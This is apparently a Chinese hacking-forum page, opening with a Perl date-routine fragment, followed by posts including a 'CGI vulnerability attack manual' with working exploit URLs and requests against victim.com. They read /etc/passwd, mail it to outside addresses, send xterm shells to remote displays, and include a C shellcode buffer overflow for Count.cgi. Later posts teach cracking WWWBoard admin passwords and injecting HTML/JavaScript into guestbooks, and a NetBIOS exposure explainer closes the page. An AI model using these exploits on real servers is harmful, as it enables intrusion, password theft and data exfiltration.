$y = (($y < 70) ? "20":"19" . $y) if (length($y)==2);
# This checks for any *non-matched* portion of $datetime. If there is such
# an animal, then there is illegal data specified. Also screens for undefined
# components which HAVE to be in ANY valid date/time (ie, month, day, year).
return undef if (!defined($m) || !defined($d) || !defined($y) || length($datetime));
# Set time components with unspecified values.
$s = 0 if (!defined($s));
$mn = 0 if (!defined($mn));
$h = 0 if (!defined($h));
# Check for ranges.
return undef if (($m > 11) || ($h > 23) || ($mn > 59) || ($s > 59));

# Begin conversion to seconds since 1/1/70.
my($sec_now,$sec_70)=();
$sec_now=DaysSince999($m,$d,$y);
return undef if (!defined($sec_now));
$sec_now--;
$sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s;
$sec_70 =30610224000;
return ($sec_now-$sec_70);
}

sub DaysSince999 {
my($m,$d,$y)=@_;
my($Ny,$N4,$N100,$N400,$dayofyear,$days)=();
my($cc,$yy)=();
$y=~ /^(\d{2})(\d{2})$/;
($cc,$yy)=($1,$2);
# Number of full years since Dec 31, 0999
$Ny=$y-1000;
# Number of full 4th years (incl. 1000) since Dec 31, 0999
$N4=int(($Ny-1)/4)+1;
$N4=0 if ($y==1000);
# Number of full 100th years (incl. 1000)
$N100=$cc-9;
$N100-- if ($yy==0);
# Number of full 400th years
$N400=int(($N100+1)/4);
# Check to insure that information returns a valid day of year.
$dayofyear=dayofyear($m,$d,$y);
return undef if (!defined($dayofyear));
# Compute day of year.
$days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear;
return $days;
}

sub dayofyear {
my($m,$d,$y)=@_;
my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31);
my($daynum,$i)=();
$daysinmonth[1]=29 if (!($y % 4));
# Return error if we are given an invalid date.
return undef if ($d > $daysinmonth[$m]);
$daynum=0;
for ($i=1; $i<$m; $i++) {
$daynum += $daysinmonth[$i];
}
$daynum += $d;

return $daynum;
}

## END DATE ROUTINES.

# End of script.
0;
--------------------- end of utmpman.pl

                                                                


3天研究黑客,7天基本学会黑客技术,电脑永远不会中毒,成就

一光年的距离 2009-04-23 17:49
CGI漏洞攻击手册version-0.02

小许

前言
  在论坛里看到过bamboo写的CGI漏洞利用的文章,我就想把他扩大一些.一直想完善一些再贴上来,但我并没有机会和时间试过所有漏洞,想到论坛里还有那么多同志会来完善的,就取名CGI漏洞攻击手册version-0.02(升级了bamboo的),旨在抛砖引玉,欢迎任意修改,增加...更欢迎任意散播.:)

一.phf漏洞
  这个phf漏洞好象是最经典了,几乎所有的文章都会介绍,可以执行服务器的命令,如显示/etc/passwd:
  lynx http://www.victim.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  但是我们还能找到它吗?

二.php.cgi 2.0beta10或更早版本的漏洞
  可以读nobody权限的所有文件.
  lynx http://www.victim.com/cgi-bin/php.cgi?/etc/passwd
  php.cgi 2.1版本的只能读shtml文件了. 对于密码文件,同志们要注意一下,也许可能在/etc/master.passwd
  /etc/security/passwd等.

三.whois_raw.cgi
  lynx http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
  lynx http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20graziella.lame.org:0

四.faxsurvey
  lynx http://www.victim.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd

五.textcounter.pl
  如果服务器上有textcounter.pl,所有人可以以http守护进程的权限执行命令.
  #!/usr/bin/perl
  $URL='http://dtp.kappa.ro/a/test.shtml';  # please _DO_ _modify_ this
  $EMAIL='pdoru@pop3.kappa.ro,root';      # please _DO_ _modify_ this
  if ($ARGV[0]) {  $CMD=$ARGV[0];}else{
   $CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one";
  }$text="${URL}/;IFS=\8;${CMD};echo|";$text =~ s/ /\$\{IFS\}/g;#print "$text\n";
  system({"wget"} "wget", $text, "-O/dev/null");
  system({"wget"} "wget", $text, "-O/dev/null");
  #system({"lynx"} "lynx", $text); #如果没有wget命令也可以用lynx
  #system({"lynx"} "lynx", $text); 

六.一些版本(1.1)的info2www的漏洞
  $ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail jami </etc/passwd|)'
  $
  You have new mail.
  $
  说实在我不太明白.:(

七.pfdispaly.cgi
  lynx -source \
  'http://www.victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/motd'
  pfdisplay.cgi还有另外一个漏洞可以执行命令
  lynx -dump http://www.victim.com/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|'
  or
  lynx -dump \
  http://victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evil:0.0|'

八.wrap
  lynx http://www.victim.com/cgi-bin/wrap?/../../../../../etc

九.www-sql
  可以让你读一些受限制的页面如:
  在你的浏览器里输入:http://your.server/protected/something.html:
  被要求输入帐号和口令.而有www-sql就不必了:
  http://your.server/cgi-bin/www-sql/protected/something.html:

十.view-source
  lynx http://www.victim.com/cgi-bin/view-source?../../../../../../../etc/passwd
  
十一.campas
  lynx http://www.victim.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a

十二.webgais
  telnet www.victim.com 80
  POST /cgi-bin/webgais HTTP/1.0
  Content-length: 85 (replace this with the actual length of the "exploit"line)
  query=';mail+drazvan\@pop3.kappa.ro</etc/passwd;echo'&output=subject&domain=paragraph

十三.websendmail
  telnet www.victim.com 80
  POST /cgi-bin/websendmail HTTP/1.0
  Content-length: xxx (should be replaced with the actual length of the
  string passed to the server, in this case xxx=90)
  receiver=;mail+your_address\@somewhere.org</etc/passwd;&sender=a&rtnaddr=a&subject=a&content=a

十四.handler
  telnet www.victim.com 80
  GET /cgi-bin/handler/useless_shit;cat  /etc/passwd|?data=DownloadHTTP/1.0
  or
  GET /cgi-bin/handler/blah;xwsh -display    yourhost.com|?data=Download
  or
  GET /cgi-bin/handler/<tab>;xterm<tab>-display<tab>danish:0<tab>-e<tab>/bin/sh|<tab>?data=Download
  注意,cat后是TAB键而不是空格,服务器会报告不能打开useless_shit,但仍旧执行下面命令.
 
十五.test-cgi
  lynx http://www.victim.com/cgi-bin/test-cgi?\whatever
  CGI/1.0 test script report:

  argc is 0. argv is .

  SERVER_SOFTWARE = NCSA/1.4B
  SERVER_NAME = victim.com
  GATEWAY_INTERFACE = CGI/1.1
  SERVER_PROTOCOL = HTTP/1.0
  SERVER_PORT = 80
  REQUEST_METHOD = GET
  HTTP_ACCEPT = text/plain, application/x-html, application/html,
  text/html, text/x-html
  PATH_INFO =
  PATH_TRANSLATED =
  SCRIPT_NAME = /cgi-bin/test-cgi
  QUERY_STRING = whatever
  REMOTE_HOST = fifth.column.gov
  REMOTE_ADDR = 200.200.200.200
  REMOTE_USER =
  AUTH_TYPE =
  CONTENT_TYPE =
  CONTENT_LENGTH =
  得到一些http的目录
  
  lynx http://www.victim.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
  这招好象并不管用.:(
  lynx http://www.victim.com/cgi-bin/nph-test-cgi?/*
  还可以这样试
    GET /cgi-bin/test-cgi?* HTTP/1.0
    GET /cgi-bin/test-cgi?x *
    GET /cgi-bin/nph-test-cgi?* HTTP/1.0
    GET /cgi-bin/nph-test-cgi?x *
    GET /cgi-bin/test-cgi?x HTTP/1.0 *
    GET /cgi-bin/nph-test-cgi?x HTTP/1.0 *

  
十六.对于某些BSD的apache可以:
  lynx http://www.victim.com/root/etc/passwd
  lynx http://www.victim.com/~root/etc/passwd
 
十七.htmlscript
  lynx http://www.victim.com/cgi-bin/htmlscript?../../../../etc/passwd

十八.jj.c
  The demo cgi program jj.c calls /bin/mail without filtering user
  input, so any program based on jj.c could potentially be exploited by
  simply adding a  followed by a Unix command. It may require a
  password, but two known passwords include HTTPdrocks and SDGROCKS. If
  you can retrieve a copy of the compiled program running strings on it
  will probably reveil the password.

  Do a web search on jj.c to get a copy and study the code yourself if
  you have more questions.

十九.Frontpage extensions
  如果你读http://www.victim.com/_vti_inf.html你将得到FP extensions的版本
  和它在服务器上的路径. 还有一些密码文件如:
  http://www.victim.com/_vti_pvt/service.pwd
  http://www.victim.com/_vti_pvt/users.pwd
  http://www.victim.com/_vti_pvt/authors.pwd
  http://www.victim.com/_vti_pvt/administrators.pwd

二十.Freestats.com CGI
  没有碰到过,觉的有些地方不能搞错,所以直接贴英文.
  John Carlton found following.  He developed an exploit for the
  free web stats services offered at freestats.com, and supplied the
  webmaster with proper code to patch the bug.

  Start an account with freestats.com, and log in.  Click on the
  area that says "CLICK HERE TO EDIT YOUR USER PROFILE & COUNTER
  INFO" This will call up a file called edit.pl with your user #
  and password included in it. Save this file to your hard disk and
  open it with notepad.  The only form of security in this is a
  hidden attribute on the form element of your account number.
  Change this from

    *input type=hidden name=account value=your#*

  to

    *input type=text name=account value=""*

  Save your page and load it into your browser. Their will now be a
  text input box where the hidden element was before. Simply type a
  # in and push the "click here to update user profile" and all the
  information that appears on your screen has now been written to
  that user profile.

  But that isn't the worst of it. By using frames (2 frames, one to
  hold this page you just made, and one as a target for the form
  submission) you could change the password on all of their accounts
  with a simple JavaScript function.

  Deep inside the web site authors still have the good old "edit.pl"
  script. It takes some time to reach it (unlike the path described)
  but you can reach it directly at:

    http://www.sitetracker.com/cgi-bin/edit.pl?account=&password=

二十一.Vulnerability in Glimpse HTTP
  telnet target.machine.com 80
  GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5fyodor\@dhp.com\</etc/passwd;eval$CMD;echo
  HTTP/1.0
二十二.Count.cgi
  该程序只对Count.cgi 24以下版本有效:
  /*### count.c ########################################################*/
  #include <stdio.h>
  #include <stdlib.h>
  #include <getopt.h>
  #include <unistd.h>
  #include <sys/socket.h>
  #include <sys/types.h>
  #include <netinet/in.h>
  #include <netdb.h>
  #include <errno.h>

  /* Forwards */
  unsigned long getsp(int);
  int usage(char *);
  void doit(char *,long, char *);

  /* Constants */
  char shell[]=
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
  "\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
  "\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
  "\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
  "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
  "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
  "/usr/X11R6/bin/xterm0-ut0-display0";
  char endpad[]=
  "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
  "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";



  int main (int argc, char *argv[]){
   char *shellcode = NULL;
   int cnt,ver,retcount, dispnum,dotquads[4],offset;
   unsigned long sp;
   char dispname[255];
   char *host;

   
   offset = sp = cnt = ver = 0;
   fprintf(stderr,"\t%s - Gus\n",argv[0]);
   if (argc<3) usage(argv[0]);

   while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {
    switch(cnt){
    case 'h':
     host = optarg;
     break;
    case 'd':
     {
    retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
       &dotquads[0],
       &dotquads[1],
       &dotquads[2],
       &dotquads[3], &dispnum);
    if (retcount != 5) usage(argv[0]);
    sprintf(dispname, "%03d.%03d.%03d.%03d:%01d",
    dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
    shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
    sprintf(shellcode,"%s%s%s",shell,dispname,endpad);
     }
    break;
    case 'v':
     ver = atoi(optarg);
     break;
    case 'o':
     offset = atoi(optarg);
     break;
    default:
     usage(argv[0]);
     break;
    }
   }
   
   sp = offset + getsp(ver); 


   (void)doit(host,sp,shellcode);

   exit(0);
  }

  unsigned long getsp(int ver) {

   /* Get the stack pointer we should be using. YMMV. If it does not work,
     try using -o X, where x is between -1500 and 1500 */
   unsigned long sp=0;
   
   if (ver == 15) sp = 0xbfffea50;
   if (ver == 20) sp = 0xbfffea50;
   if (ver == 22) sp = 0xbfffeab4;
   if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */
   if (sp == 0) {
    fprintf(stderr,"I don't have an sp for that version try using the -o option.\n");
    fprintf(stderr,"Versions above 24 are patched for this bug.\n");
    exit(1);
   } else {
    return sp;
   }

  }


  int usage (char *name) {
   fprintf(stderr,"\tUsage:%s -h host -d <display> -v <version> [-o <offset>]\n",name);
   fprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",name);
   exit(1);
  }

  int openhost (char *host, int port) {
   
   int sock;
   struct hostent *he;
   struct sockaddr_in sa;

   he = gethostbyname(host);
   if (he == NULL) {
    perror("Bad hostname\n");
    exit(-1);
   }

   memcpy(&sa.sin_addr, he->h_addr, he->h_length);
   
   sa.sin_port=htons(port);
   sa.sin_family=AF_INET;
   sock=socket(AF_INET,SOCK_STREAM,0);
   if (sock < 0) {
    perror ("cannot open socket");
    exit(-1);
   }
   bzero(&sa.sin_zero,sizeof (sa.sin_zero));

   if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {
    perror("cannot connect to host");
    exit(-1);
   }
   
   return(sock);
  }


  void doit (char *host,long sp, char *shellcode) {

   int cnt,sock;
   char qs[7000];
   int bufsize = 16;
   char buf[bufsize];
   char chain[] = "user=a";
   
   bzero(buf);
    

   for(cnt=0;cnt<4104;cnt+=4) {
    qs[cnt+0] = sp & 0x000000ff;
    qs[cnt+1] = (sp & 0x0000ff00) >> 8;
    qs[cnt+2] = (sp & 0x00ff0000) >> 16;
    qs[cnt+3] = (sp & 0xff000000) >> 24;
   }
   strcpy(qs,chain);
   qs[strlen(chain)]=0x90;

   qs[4104]= sp&0x000000ff;
   qs[4105]=(sp&0x0000ff00)>>8;
   qs[4106]=(sp&0x00ff0000)>>16;
   qs[4107]=(sp&0xff000000)>>24;
   qs[4108]= sp&0x000000ff;
   qs[4109]=(sp&0x0000ff00)>>8;
   qs[4110]=(sp&0x00ff0000)>>16;
   qs[4111]=(sp&0xff000000)>>24;
   qs[4112]= sp&0x000000ff;
   qs[4113]=(sp&0x0000ff00)>>8;
   qs[4114]=(sp&0x00ff0000)>>16;
   qs[4115]=(sp&0xff000000)>>24;
   qs[4116]= sp&0x000000ff;
   qs[4117]=(sp&0x0000ff00)>>8;
   qs[4118]=(sp&0x00ff0000)>>16;
   qs[4119]=(sp&0xff000000)>>24;
   qs[4120]= sp&0x000000ff;
   qs[4121]=(sp&0x0000ff00)>>8;
   qs[4122]=(sp&0x00ff0000)>>16;
   qs[4123]=(sp&0xff000000)>>24;
   qs[4124]= sp&0x000000ff;
   qs[4125]=(sp&0x0000ff00)>>8;
   qs[4126]=(sp&0x00ff0000)>>16;
   qs[4127]=(sp&0xff000000)>>24;
   qs[4128]= sp&0x000000ff;
   qs[4129]=(sp&0x0000ff00)>>8;
   qs[4130]=(sp&0x00ff0000)>>16;
   qs[4131]=(sp&0xff000000)>>24;
   strcpy((char*)&qs[4132],shellcode);

   sock = openhost(host,80);
   write(sock,"GET /cgi-bin/Count.cgi?",23);
   write(sock,qs,strlen(qs));
   write(sock," HTTP/1.0\n",10);
   write(sock,"User-Agent: ",12);
   write(sock,qs,strlen(qs));
   write(sock,"\n\n",2);
   sleep(1);
    
   /* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs); */

   /*
   setenv("HTTP_USER_AGENT",qs,1);
   setenv("QUERY_STRING",qs,1);
   system("./Count.cgi");
   */
  }
 
 用Count.cgi看图片
 
 


二十三.finger.cgi
  lynx http://www.victim.com/cgi-bin/finger?@localhost
  得到主机上登陆的用户名.
 
二十四.man.sh
   Robert Moniot found followung.  The May 1998 issue of SysAdmin
  Magazine contains an article, "Web-Enabled Man Pages", which
  includes source code for very nice cgi script named man.sh to feed
  man pages to a web browser.  The hypertext links to other man
  pages are an especially attractive feature.

  Unfortunately, this script is vulnerable to attack.  Essentially,
  anyone who can execute the cgi thru their web browser can run any
  system commands with the user id of the web server and obtain the
  output from them in a web page.

二十五.FormHandler.cgi
  在表格里加上
  <INPUT TYPE="hidden" NAME="reply_message_attach" VALUE="text:/tmp/../etc/passwd">
  你的邮箱里就有/etc/passwd

二十六.JFS
  相信大家都看过"JFS 侵入 PCWEEK-LINUX 主机的详细过程"这篇文章,他利用photoads
  这个CGI模块攻入主机. 我没有实际攻击过,看文章的理解是这样
  先lynx "http://securelinux.hackpcweek.com/photoads/cgi-bin/edit.cgi?AdNum=31337&action=done&Country=lala&City=lele&State=a&EMail=lala@hjere.com&Name=%先lynx "http://securelinux.hackpcweek.com/photoads/cgi-bin/edit.cgi?AdNum=31337&action=done&Country=lala&City=lele&State=a&EMail=lala@hjere.com&Name=%0a11111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111&Phone=11&Subject=la&password=0&CityStPhone=0&Renewed=0"
  创建新AD值绕过 $AdNum 的检查后用
  lynx 'http://securelinux.hackpcweek.com/photoads/cgi-bin/photo.cgi?file=a.jpg&AdNum=1111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
111111111111111111111111111111111&DataFile=1&Password=0&FILE_CONTENT=&FILE_NAME=/lala/\../../../../../../../home/httpd/html/photoads/cgi-bin/advisory.cgi.gif'

  创建/覆盖用户 nobody 有权写的任何文件.
  不知我的理解是否对,在它的zip包里我找不到to_url脚本,不知哪位同志知道?

二十七.backdoor
  看到现在一些cgichk.c里都有检查木马unlg1.1和rwwwshell.pl
  前一个是UnlG写的,我没见过源码,有一个是THC写的,packetstorm里有它1.6版的源码.

一光年的距离 2009-04-23 17:49
如何黑BBS公告牌

                                  黑客软件“黑客BBS”简介

作者:goodwell
出处:《绿盟》

一,取得管理的帐号!
#1 浏览至你所感兴趣的WEB公告牌。将wwwboard.htm改为passwd.txt,就是在浏览的URL输入处把HTM名改成一般默认的口令文件名passwd.txt,哈哈!看到了吗!一般都会加密,请用save as保存。如没加密的话那你的运气就太好了!但象这样的很少!

#2 进入离线浏览状态,将passwd.txt放在你解压我们的下载软件的目录下。在那个目录中,它可以替换任何文件。

#3 运行文件runme.bat

#4 这个程序给你三种选择。第一种是带字典运行,通常它不会占用很多事件,但是从来没找到过密码。建议还是运行一下,在奔腾机上,它只需运行2秒钟。如果你得到的如下等结果:
v:0 c:11223 t:0:00:00:02 99% c/s:5611 W:*****DONE*****,
那么说明你没有找到匹配的密码。在任何情况下,CWW会提示你是否继续增量搜索还是退出。如果你找到一个密码,请转至#6,否则请继续执行增量搜索。

如果你成功了,请转至#6

#5增量搜索。这个很耗时。但在WIN95的多任务平台下,你可以在后台运行它,同时在前台运行一些小的程序如浏览等,但是不要运行三维渲染。我建议你看Star Treck.通常,在2小时内会得到结果。

#6 现在,你很有可能已经有了密码。把它记下来,然后访问这个站点。现在你要找到WWWadmin.cgi这个文件。通常,你可以将目录转换至CGI-BIN然后输入WWWadmin.cgi,有时后缀会是.pl。虽然在一些情况下,这个办法行不通,但还是强烈建议先试一试。有时,当管理员对于他们的WEB公告牌的安全性十分关注(很少见)或 在一个服务器上有多个WEB公告牌,而且管理脚本具有不同的名字。有时你会幸地看到CGI-BIN的目录内容(当然只有当这个服务器的管理员是十分愚蠢的的情况下才会发生)。怎么样?只需先用域名,然后在尝试/CGI-BIN/或/CGIBIN/(很少见)。有时,系统会告诉你权限来访问这些目录,而有时你又可以。有时你还可以得到记录。好了,你已经有了目录列表了,下一步是什么呢?找到那写有27KB大小的文件,它们很有可能使管理脚本。

#7 运行管理脚本然后。。


一些重要的声明
本人对于你利用这篇文章所做的任何事都不负任何责任。由于这项工作是十分耗时的,所以当你在攻击他人时,你有可能被抓获。
-----------------
最好能在用增量搜索命令之前,试一下所有的字典,这样可以节省很多时间。要明确你攻击对象的身份情况,如果你要攻击伊斯兰的WEB公告牌,你就要去搞一本伊斯兰字典文件。如果你要攻击法国站点,去找一本法语字典。下面是可以得到这些字典的站点,很棒的
ftp://coast.cs.purdue.edu/pub/dict/wordlists
如何使字典呢?
先建立一个字典目录在C:\DOOLEY下,然后 将DICT.TXT移入。然后运行WHACKER带字典选项就行了。在下一个版本中,会加入载入功能。
--------
默认的密码和用户名:
用户名:Webadmin
密码:WebBoard
一些愚蠢的管理员是这样干的!!!

(对WEB公告牌管理员的公告,备份你的passwd.txt文件。如果有人攻击了你的公告牌,只需还原passwd.txt即可恢复)

(对黑客的公告。只有遇到很愚蠢的管理员你们才有机会!)

有用连接

字典文件
ftp://coast.cs.purdue.edu/pub/dict/wordlists

出问题了?往这儿投
http://www.hackersclub.com/km/wwwboard/index.html

更新WWWBOARD WHACKER主页
http://members.aol.com/CCDooley/Hack.html

希望你能喜欢WWWBOARD WHACKER

一光年的距离 2009-04-23 17:49
入侵留言板的方法

作者:goodwell

    随着INTERNET的飞速发展在网上占有一席之地是每个公司乃至个人的迫切愿望。由其是交互式的网页更是吸引着每一个来访者,所以大家都喜欢在自己的网页上搞个留言板的东西,有水平低的就申请一个,有水平高的就自己编一个CGI程序。但不知个位知道否其漏洞实在是太多。
首先我们来谈一谈留言板CGI程序的原理,这样才能更好的掌握下面的东西。
CGI是这样工作的,它把用户(来访者〕输入的留言变为一个变量,然后把这个变量插入到显示留言的HTM文件里,当然用户输入的是一些文本,如要在HTM文件里显示就要符合HTM的语言标准,所以在编写CGI程序时,编程人员会在里面输入特定的一些HTM语言标准。请看下面以常用的免费留言板GUESTBOOK为列。

设定用户输入文本为变量A
在每次插入HTM文件时同时插入头尾HTM语法词如
<font> 用户输入的变量A </font>(当它插入到HTM文件时就显示了用户文本〕

但是我们如果采用敝屏的方法时,就能做我们想干的一切事。
方法如下:
在我们输入时打上</font>这里你可以打上所有你知道的HTM语言<font>(前后</font><font>用来敝屏,一起输入〕

这时插入HTM文件里的就是如下的东西
<font></font>你的输入一定要用HTM标准<font></font>

如你想在留言本里显示你的GIF图片,可以这样输入

请您留言:
***********************************************************
* </font><p><a href="http://网页链接位置"> *
* <img src="http:///GIF图片的位置/green.gif" width="235" *
* height="77" alt="要显示的字"></a></p><font> *
* *
* *
* *
* *
* *
***********************************************************

一旦我们敝屏之后就可以在他人的留言板上做一切事,甚至你可以输入一段JAVA SCRIPT 让其它来访留言板的人不断的打开新的浏然器窗口。这样做的话他(她〕的留言板就给你炸了,还是不要这样做,损人不利己。

有些CGI会加上一些条件语句如IF......
当它发现你输入的有HTM语法时会报错,如"广州网易"提供的留言板当然要敝屏这个IF也很容意,大家动动脑子吧!以后有空我再把它写出来。
  

一光年的距离 2009-04-23 17:50
Windows的后门

迈克老狼

  自从1998年一个bo炒的沸沸扬扬,现在“后门”这个词大家都知道了,后门的家族和种类也不断发展。可是你知不知道,也许你的计算机存在着一个任何杀毒软件都无法检查出来的后门——windows的后门-netbios。

  我可不是含血喷人,下面我就来说说我的依据:
后门可以泄漏你的信息,netbios也可以;后门会让别人访问到你的文件系统,netbios也可以;后门软件都会占用一个或几个端口与外界联系,让别人搜索到你,如bo就是31337,那么netbios呢?就是你现在已经打开的137,138,139端口!

  说到这里,有的人也许还不知道netbios是何物?我这里简单介绍一下:netbios(NETwork Basic Input/Output System)网络基本输入输出系统。NetBIOS是1983年IBM开发的一套网络标准,微软在这基础上继续开发。微软的客户机/服务器网络系统都是基于NetBIOS的。应用程序通过标准的NetBIOS API调用,实现NetBIOS命令和数据在各种协议中传输。Microsoft网络在Windows NT操作系统中利用NetBIOS完成大量的内部联网。它还为许多其它协议提供了标准界面。TCP/IP、NetBEUI和NWLink都有NetBIOS界面,应用程序都可以利用。NetBIOS API是为局域网开发的,现已发展为标准接口。无论是在面向连接或面向非连接的通信中,应用程序都可用其访问传输层联网协议。NetBIOS接口是为NetBEUI,NWLink,TCP/IP及其它协议而写的,因此应用程序不需要关心哪个协议提供传输服务(NT所使用的任何协议都有传输驱动界面具备沟通NT的NetBIOS与本机的协议能力)。因为这些协议都支持NetBIOS API,所以都提供了建立会话和启动广播的功能。网络上的每一台计算机都必须唯一地与NetBIOS名等同起来。在建立NetBIOS会话或发送广播时需要这个名字。当通过NetBIOS会话使用该名字时,发送方必须能够将NetBIOS名转化为一个IP地址。由于IP地址和名字都需要,在进行成功的通信之前,所有的名字转换方法都必须能够给出正确的IP地址。netbios是一个不可路由的协议。适用于广播式网络,没有透明网桥是不能跨越网段的。但是他可以绑定到任意的一个协议之上。如tcp/ip协议,这就是为什么他能成为你机器里的后门的主要原因了!

  首先:这个后门可以泄漏你的信息。那就是你的计算机名和工作组。有不少人会用自己的真实姓名做计算机名称,还有自己的单位名称作为工作组。这样很容易根据某个人的固定信息找到某个人的ip地址。这类软件有月光搜索——追捕版。速度很快。用windows自带的nbtstat命令就能收集到很多信息。

解决办法 :
    win9x
在windows9x下如果你是个拨号用户。完全不需要登陆到nt局域网络环境的话。只需要在控制面板-网络-删除microsoft网络用户,使用microsoft友好登陆。这样追捕就不会追捕到你的用户名称了。但是如果你需要登陆到nt网络的话。那这一项就不能去处。因为nt网里需要使用netbios。
    winNT
在windowsNT下你可以取消netbios与TCP/IP协议的绑定。控制面板-网络-Netbios接口-WINS客户(tcp/ip)-禁用。确定。重启。这样nt的计算机名和工作组名也隐藏了,不过会造成基于netbios的一些命令无法使用。如net等。

  其次:这个后门可能让对方访问到你的计算机里的文件。先说说win9x,这个最不安全的操作系统。如果你的共享资源没有加上口令的话。那么全世界的人都可以共享了。偏偏有很多人的硬盘都是完全共享一个口令不加的,就算只读也能读取计算机里的pwl密码文件。然后得到你的密码。或者是私人文件。

